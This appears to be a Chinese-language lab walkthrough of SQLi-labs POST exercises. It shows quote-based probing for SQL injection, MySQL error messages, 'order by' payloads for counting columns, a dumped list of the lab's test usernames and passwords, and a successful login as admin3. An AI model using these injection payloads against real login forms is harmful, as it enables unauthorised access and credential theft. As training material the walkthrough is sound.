POST - Error Based - Single quotes- String
1.1、判断是否存在SQL注入
正常相应长度
输入带单引号',相应长度有变化
往下拉看到有提示错误信息,可以确定可以SQL注入
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '123' LIMIT 0,1' at line 1
POST - Error Based - Double quotes- String-with twist
2.1、判断是否存在SQL注入
正常相应长度
输入带单引号'发现没有变化
实验用双引号",相应长度有变化
往下拉看到有提示错误信息,可以确定可以SQL注入
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '123") LIMIT 0,1' at line 1
复制代码
2.2、确定查询字段个数
从界面上看应该是2个,但照旧以确定结果为准
# 输入内容
"+order+by+3--+
# 输出结果
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by 3-- ") and password=("123") LIMIT 0,1' at line 1</br>
Your Password:1~Dumb~Dumb,2~Angelina~I-kill-you,3~Dummy~p@ssword,4~secure~crappy,5~stupid~stupidity,6~superman~genious,7~batman~mob!le,8~admin~admin,9~admin1~admin1,10~admin2~admin2,11~admin3~admin3,12~dhakkan~dumbo,14~admin4~admin4
复制代码
账号/密码有点多,随便找一个举行验证。
2.4、验证登录
使用账号/密码:admin3/admin3,登录成功
3、Less13
POST - Double Injection - Single quotes- String -with twist
3.1、判断是否存在SQL注入
正常相应长度
输入带单引号',相应长度有变化
往下拉看到有提示错误信息,可以确定可以SQL注入
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '123') LIMIT 0,1' at line 1
复制代码
3.2、确定查询字段个数
从界面上看应该是2个,但照旧以确定结果为准
# 输入内容
'+order+by+3--+
# 输出结果
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'order by 3-- ') and password=('123') LIMIT 0,1' at line 1</br>
POST - Double Injection - Single quotes- String -with twist
4.1、判断是否存在SQL注入
正常相应长度
输入带双引号",相应长度有变化
往下拉看到有提示错误信息,可以确定可以SQL注入
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '123" LIMIT 0,1' at line 1</br>